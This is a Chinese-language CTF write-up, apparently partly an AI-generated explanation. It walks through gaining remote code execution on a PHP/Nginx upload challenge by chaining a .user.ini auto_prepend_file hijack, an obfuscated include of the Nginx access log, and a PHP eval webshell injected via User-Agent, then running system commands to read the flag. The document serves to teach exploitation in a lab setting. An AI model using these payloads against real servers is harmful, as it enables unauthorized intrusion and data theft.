本题主要考察了通过 .user.ini 配置文件进行文件包含并结合 日志注入 实现远程代码执行的综合高阶渗透技巧。核心提示题目页面明确提示“后端校验要严密”这暗示前端可能没有做严格限制或者单纯的前端绕过是不够的必须通过后端逻辑漏洞来打通链路。考察知识点.user.ini 配置文件劫持在 PHP 环境中.user.ini 可以用于动态修改 PHP 配置。通过利用 auto_prepend_file 或 auto_append_file 指令可以让当前目录下的所有 PHP 页面在执行前或执行后自动包含一个指定文件。Nginx 日志注入当上传的文件内容受到严格过滤或无法直接上传 PHP 恶意脚本时可以通过向服务器发送带有恶意 PHP 代码的 HTTP 请求如伪造 User-Agent将其写入服务器的访问日志access.log。本地文件包含LFI扩展将日志文件作为包含目标配合被 .user.ini 自动加载的媒介文件触发 PHP 解析日志中的木马代码最终达成 RCE。解题详细步骤第一步利用 .user.ini 配置文件实现文件自动包含分析环境由于后端只允许上传图片格式或有严格的内容检查直接上传普通的 蚁剑/冰蝎 木马可能会被后端拦截。构建配置文件利用 Burp Suite 拦截请求将上传的文件名修改为 .user.ini写入指令在文件正文中写入以下配置auto_prepend_fileMM.png这句话的作用是只要访问该目录下的任意 PHP 文件例如 upload.php 或 index.php系统在执行该 PHP 文件前都会先强制 include 包含同目录下的 MM.png。第二步上传包含混淆代码的媒介文件MM.png为了配合 .user.ini接下来需要上传刚才指定的 MM.png 文件。构造包含代码因为可能存在针对关键词如 include、log 等的后端过滤需要对敏感字符串进行拼接绕过。发送请求通过 Burp Suite 拦截并发送内容如下的 MM.png?include/var/l.og/nginx/access.l.og?由于混淆拼接该代码在被 PHP 执行时会还原为 include ‘/var/log/nginx/access.log’。这意味着每当触发文件包含链时最终都会去解析 Nginx 的访问日志。第三步Nginx 访问日志注入一句话木马写入通过前两步我们成功建立了一条通道访问 PHP 页面 - 自动包含 MM.png- 包含并解析 access.log。现在只需要把一句话木马送进日志文件即可定位目标使用浏览器或 HackBar 访问一个不存在的文件或正常页面如 1.txt关键在于操纵请求头。注入 WebShell将 HTTP 请求头中的 User-Agent 修改为 PHP 一句话木马?phpeval($_POST[1]);?结果Nginx 服务器会将本次请求记录到 /var/log/nginx/access.log 中其中 User-Agent 的位置就变成了我们的木马代码。第四步触发 RCE 并获取 Flag执行命令利用 HackBar 向目标的 /upload/ 目录或包含 .user.ini 的相关 PHP 路由发送 POST 请求。传递参数在 POST Body 中传入1system(‘tac …/flag.php’);使用 tac 反向读取或 cat 读取上级目录下的 flag 文件。为什么这里要将一句话木马改为?include/var/l.og/nginx/access.l.og?为什么这样就可以触发rce这一步其实是整道题最精妙的联合套路。简单来说因为后端把所有好走的“直路”都堵死了比如不让你直接上传木马、或者过滤了敏感代码所以我们只能绕个远路把 Nginx 的日志文件当成我们的“备用木马箱”。下面为你深度拆解这两个为什么为什么要改为 ?include /var/l.og/nginx/access.l.og?这里有两个核心原因绕过检测 和 定向引流。① 字符串拼接绕过后端的关键字过滤如果直接在代码里写 ‘/var/log/nginx/access.log’后端的安全过滤机制比如正则表达式一旦检测到 log、nginx、access 等敏感字眼就会判定这是恶意攻击并直接拦截上传。通过利用 PHP 的字符串拼接特性‘/var/l’.‘og/nginx/access.l’.‘og’在上传时它只是几个无害的碎片字符串成功绕过检测。而当 PHP 真正去执行这行代码时会自动把它们拼接还原成完整的路径/var/log/nginx/access.log。② 包含日志把日志文件变成“伪装的 PHP 脚本”.user.ini 的作用是让页面自动包含 MM.png。但 MM.png 本身里面并没有木马核心代码没有 eval它里面只有上面这行 include 语句。这句话的意思是“请 PHP 顺便把 Nginx 的访问日志文件也读取并解析一下。”这样我们就成功把 PHP 的执行焦点转移到了 Nginx 的日志文件access.log上。为什么这样就可以触发 RCE远程代码执行这涉及到了 PHP 中 include文件包含的底层逻辑“认命不认命”。在 PHP 中只要被 include() 的文件里含有标准的 PHP 标签如 ?php ... ?不管这个文件的后缀是 .log、.txt 还是 .jpgPHP 都会强行把里面的内容当成 PHP 代码来解析并执行整个 RCE 的触发链条是这样的[步骤 1] 攻击者访问 1.txt 并将 User-Agent 改为 ?php eval($_POST[1]);?↓[步骤 2] Nginx 忠实地把这个恶意的 User-Agent 写入到 /var/log/nginx/access.log 中↓[步骤 3] 攻击者向服务器的 upload.php 发送 POST 请求 (带上恶意参数 1system(…))↓[步骤 4] .user.ini 触发 ── 自动加载 MM.png↓[步骤 5] MM.png 执行 ── 强行 include 包含 access.log↓[最终 RCE] PHP 解析 access.log读到步骤 1 写入的 ?php eval($_POST[1]);?并接收了步骤 3 传来的 system() 命令最终在服务器上炸开执行成功总结直接上传木马文件含有 eval会被后端直接杀掉。所以我们利用 MM.png 做一个“内应”它的唯一工作就是利用 include 跨界去把 Nginx 日志 拉进 PHP 的解析器里。而真正的木马早就通过修改 User-Agent 的方式偷偷混进日志里躺着了。两合一木马成功执行为什么写在1.txt文件中的一句话木马会让upload文件中的命令执行这个问题问到了整道题最核心的目录级别配置劫持和文件包含原理。其实并不是1.txt让upload里面的命令执行而是.user.ini像一个“强力胶水”把upload目录下的所有 PHP 文件、MM.png、以及写有木马的1.txt访问日志牢牢地绑在了一起。为了彻底说明白我们把这个过程拆解为两个最关键的疑问1. 为什么访问upload目录能触发木马.user.ini的威力.user.ini是 PHP 的一种目录局部配置文件。只要你在某个目录下比如/upload/目录上传了一个.user.ini那么只要有人访问这个目录下的任何一个 PHP 文件不管是index.php还是upload.phpPHP 引擎都会强制执行.user.ini里的全局指令。我们在.user.ini里写了auto_prepend_fileMM.png这意味着只要你请求https://.../upload/upload.phpPHP 在执行upload.php里的代码之前会自动、无条件地先在后台执行include(MM.png);2. 木马不是在1.txt里吗怎么和MM.png扯上关系的这就是为什么要用日志注入。木马的真正去处在第三步中我们修改了User-Agent发送请求访问1.txt。这时候Nginx 服务器会把这次访问记录到它的标准访问日志中即/var/log/nginx/access.log。也就是说此时?php eval($_POST[1]);?这句木马已经变成文本躺在 Nginx 的access.log文件里了。MM.png的内应作用我们在第二步中上传了MM.png内容是?include/var/l.og/nginx/access.l.og?它被拼接还原后真正的意思就是include /var/log/nginx/access.log。最终的骨牌效应命令是如何执行的当你使用 HackBar向upload.php发送POST请求带上参数1system(tac ../flag.php);时服务器后台发生了如下的连环反应第一步配置触发PHP 收到请求准备运行upload.php。但它发现当前目录下有.user.ini于是转头**先去加载MM.png**。第二步文件包含PHP 开始解析MM.png读到了里面的指令——“去把 Nginx 的access.log包含进来”。第三步木马复活PHP 开始读取access.log。虽然它是日志文件但由于 PHP 的include特性“只认标签不认后缀”PHP 一旦在日志里读到之前注入的?php eval($_POST[1]);?标签就会立刻把它当作真正的 PHP 代码来执行第四步命令炸开此时eval()函数激活它成功接收到了你通过 POST 传过来的参数1即system(tac ../flag.php);。结果操作系统执行了tac ../flag.php并将 flag 打印在了你的屏幕上。总结1.txt只是一个用来触发 Nginx 记录日志的靶子通过访问它把木马写进日志。最终真正让命令执行的是.user.ini强行加载了MM.png而MM.png又强行把带有木马的日志文件access.log喂给了 PHP 处理器。